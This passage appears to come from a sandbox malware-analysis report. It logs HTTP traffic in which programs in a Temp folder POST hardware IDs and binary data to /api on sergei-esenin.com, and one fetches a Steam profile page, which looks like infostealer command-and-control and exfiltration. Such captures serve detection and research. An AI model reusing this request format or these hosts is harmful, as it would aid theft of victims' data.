2024-10-18 13:04:30 UTC	189	IN	Data Raw: 7a 6d 51 74 42 39 4e 35 41 31 76 4d 46 6d 6e 51 4b 31 38 4a 31 44 78 76 4c 74 43 4a 6d 2f 65 6b 43 78 35 34 50 2f 63 47 77 46 6e 48 47 51 78 62 33 33 6c 62 57 73 6b 62 51 4e 6b 4b 55 30 47 63 49 66 61 58 49 66 6a 57 72 75 55 4c 58 72 30 72 77 68 75 59 59 61 5a 74 4e 44 74 7a 65 52 74 62 4b 43 34 49 38 42 4d 2b 47 55 55 78 4e 6c 65 46 76 49 75 4f 51 56 5a 4f 45 52 76 54 44 69 46 30 39 6b 30 30 59 70 5a 68 4f 7a 71 55 4c 67 69 42 56 31 35 34 30 48 52 6a 4f 74 53 35 6a 2f 4b 45 63 6a 4d 46 58 70 4e 6e 30 47 47 6d 47 54 51 36 6c 32 51 32 45 35 30 50 42 4d 6b 0d 0a Data Ascii: zmQtB9N5A1vMFmnQK18J1DxvLtCJm/ekCx54P/cGwFnHGQxb33lbWskbQNkKU0GcIfaXIfjWruULXr0rwhuYYaZtNDtzeRtbKC4I8BM+GUUxNleFvIuOQVZOERvTDiF09k00YpZhOzqULgiBV1540HRjOtS5j/KEcjMFXpNn0GGmGTQ6l2Q2E50PBMk
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 32 30 63 30 0d 0a 66 51 2b 46 70 4d 56 5a 62 70 63 6a 4b 51 67 48 79 59 67 45 4c 71 77 35 64 41 4a 49 51 4f 55 2b 4b 67 4d 4a 6a 79 55 63 55 71 51 70 65 47 4b 67 39 4d 32 37 35 41 63 2b 62 2b 62 64 76 42 57 61 54 5a 35 6d 4d 71 6d 67 4e 52 38 34 39 44 74 65 4e 49 7a 53 39 46 31 34 67 6b 53 51 50 44 74 6a 64 7a 71 71 38 53 7a 64 45 54 76 39 54 31 41 58 6e 47 45 68 6a 38 33 68 6a 57 72 52 65 4d 5a 46 62 58 6e 69 51 49 54 5a 62 6e 65 6a 32 74 72 45 43 54 67 6c 66 6e 78 70 68 6f 43 4a 6b 47 57 75 69 52 42 61 6a 4c 5a 4d 38 76 53 4a 72 4a 62 33 46 39 6a 75 56 33 50 61 6d 6f 51 39 58 50 41 65 76 42 2f 6d 39 70 33 45 31 70 71 39 34 57 31 71 30 46 39 79 64 4b 6d 63 46 79 58 67 36 36 36 33 49 2f 6f 37 46 5a 31 63 38 42 34 73 48 2b 42 6d 66 55 43 55 65 6c 78 6c 37 Data Ascii: 20c0fQ+FpMVZbpcjKQgHyYgELqw5dAJIQOU+KgMJjyUcUqQpeGKg9M275Ac+b+bdvBWaTZ5mMqmgNR849DteNIzS9F14gkSQPDtjdzqq8SzdETv9T1AXnGEhj83hjWrReMZFbXniQITZbnej2trECTglfnxphoCJkGWuiRBajLZM8vSJrJb3F9juV3PamoQ9XPAevB/m9p3E1pq94W1q0F9ydKmcFyXg6663I/o7FZ1c8B4sH+BmfUCUelxl7
2024-10-18 13:04:30 UTC	1369	IN	Data Raw: 42 70 76 6d 38 42 6a 56 55 53 64 77 46 6c 7a 34 50 35 64 31 64 6c 34 70 4d 6e 6d 61 57 66 55 46 52 61 39 33 6a 75 56 2b 30 76 46 4d 6c 58 61 34 33 4e 4d 55 35 33 6c 4f 58 33 75 75 42 4c 4e 30 51 2b 6b 68 62 63 57 63 63 52 66 44 62 44 4e 57 63 61 6e 57 6f 77 39 42 49 47 47 50 42 30 4e 32 2f 51 35 61 2b 37 35 55 59 65 54 52 2b 65 58 70 52 45 58 71 69 74 56 39 4a 51 76 6d 2b 56 43 2f 42 70 52 6c 4d 68 71 53 46 57 4b 70 6a 64 7a 6f 66 34 4b 72 4d 45 4a 71 49 65 6c 51 47 6d 72 51 78 62 39 33 6c 62 57 77 45 62 4d 4b 6b 4f 42 31 79 6c 70 51 49 72 73 57 44 36 2b 75 52 4c 62 77 55 65 6b 32 66 55 59 61 5a 41 63 46 72 33 4f 58 4d 32 67 46 70 56 30 46 6f 69 49 66 51 39 56 32 37 34 72 66 65 36 73 45 73 33 42 42 75 65 54 74 46 41 71 67 67 34 52 32 36 41 37 6c 66 74 4c Data Ascii: Bpvm8BjVUSdwFlz4P5d1dl4pMnmaWfUFRa93juV+0vFMlXa43NMU53lOX3uuBLN0Q+khbcWccRfDbDNWcanWow9BIGGPB0N2/Q5a+75UYeTR+eXpREXqitV9JQvm+VC/BpRlMhqSFWKpjdzof4KrMEJqIelQGmrQxb93lbWwEbMKkOB1ylpQIrsWD6+uRLbwUek2fUYaZAcFr3OXM2gFpV0FoiIfQ9V274rfe6sEs3BBueTtFAqgg4R26A7lftL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49916	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:31 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-18 13:04:31 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:31 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-18 13:04:32 UTC	831	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rnamv8cms3qd0djncmdahpib6k; expires=Tue, 11 Feb 2025 06:51:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EzqWLHMXK6nXkin%2BjJNpu%2Bk4L8Nemsq7HdbCX3zMsk8fRBDobqgGoP1anIUHQ3UbyB2o%2FDFdGqrzbaon5ci32Ft6HrbBeE%2B9LOVRWGx30MGF6yqI7DIsDxs7a7BvxWAOu0Df%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc166d4fb792-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49929	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:33 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-18 13:04:33 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:34 UTC	825	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdcp7okmf107v2mvkgaamschqh; expires=Tue, 11 Feb 2025 06:51:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yrpKv3GgsaXr0UXnt15JbO6xLYWb9I3wvfskrMhKjdv25FtDGKxXMPqx0RAgNR7qyVRASH2zAqRhKvEVzJQXXPaTMSE06jox8MjvaSmPaQrhfVsleBiQoM0B%2Fh%2FH0NheqG7OHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc22488a4769-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49942	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:36 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-18 13:04:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:36 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-18 13:04:36 UTC	835	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5qkd7ifkq7aboqhjupqleqfv3m; expires=Tue, 11 Feb 2025 06:51:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QkxnOlUzYMCQLeFUAW5E24hxZvC%2Fy5vK%2BtLKmupT1KyD3IqXtGDevwY6T%2BmOoJiq%2Fuo1S%2BL7GODOywwl%2FyR8uYRbmtGiajMkp2E0EPWtZ%2Fpbqh4asfnQ0I1BLSFm1r4Szi3ahQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc323f79e83b-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49949	104.102.49.254	443	5568	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:36 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-18 13:04:37 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 18 Oct 2024 13:04:37 GMT Content-Length: 25258 Connection: close Set-Cookie: sessionid=e22be341ffae5048276ae28b; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-18 13:04:37 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-18 13:04:37 UTC	10765	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e d0 91 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 63 7a 65 63 68 22 20 6f 6e 63 6c 69 63 Data Ascii: <a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return false;"> (Bulgarian)</a><a class="popup_menu_item tight" href="?l=czech" onclic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49962	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:38 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1290 Host: sergei-esenin.com
2024-10-18 13:04:38 UTC	1290	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-18 13:04:38 UTC	823	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1nou6iib38c1vfqdgetm5gfqa6; expires=Tue, 11 Feb 2025 06:51:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C3MaGXIG8WPqtD7igxbIRyRutHee4JQ9sZjuU4IrGtHzaCTWvviCZWozBt9q77FBCQvByid%2FSmTWENpJ49LEFFcKTqzPXasZjnmECjlbBk6yM05rNh9vCNDJBqAUKZbpBETxHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48bc3fab45469c-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:04:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-18 13:04:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49971	104.21.53.8	443	1168	C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:04:40 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567125 Host: sergei-esenin.com
2024-10-18 13:04:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 32 32 41 44 35 42 37 39 43 35 42 36 34 31 33 37 36 39 30 31 39 38 31 44 32 38 33 38 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5922AD5B79C5B641376901981D28380B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
